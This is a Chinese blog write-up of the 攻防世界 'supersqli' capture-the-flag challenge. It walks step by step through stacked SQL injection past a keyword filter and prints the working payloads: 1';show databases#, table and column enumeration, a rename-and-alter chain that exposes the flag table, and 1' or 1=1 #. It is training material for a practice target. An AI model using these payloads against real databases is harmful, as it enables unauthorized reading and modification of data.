攻防世界之Web_supersqli
题目
本题考查sql注入传送门https://www.cnblogs.com/shacker/p/15917173.html
按照SQL注入一步一步执行
发现有2个列
然后用union select联合查询,然后发现过滤了一些关键字,传送门上篇将的就是毫无防护的白给,这题虽然也用来正则匹配来过滤
但这样只是稍微麻烦一丢丢
发现上面的关键字都被过滤不能使用了,没法进行注入,这个时候尝试一下堆叠注入
现在回到这道题,利用堆叠注入,查询所有数据库:
注入命令:1';show databases# 查询所有数据库
显然,这题选择supersqli爆库
注入命令:1'and 1=2;show tables from supersqli# 爆出所有表
然后,选择1919810931114514表,爆表
注入命令:1'and 1=2;show columns from `1919810931114514`# ps:字符串作为表名需要加反单引号
爆出列名flag
最后一步就是爆数据。
根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id
这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag
将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
注入命令:1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1' or 1=1 #得到flag
============================================================================================
总结:遇到过滤sql语句的时候,尝试使用堆叠注入,利用漏掉的sql语句配合进行注入攻击。
posted on 2022-02-22 00:17 shacker_shen 阅读(77) 评论(0) 编辑 收藏 举报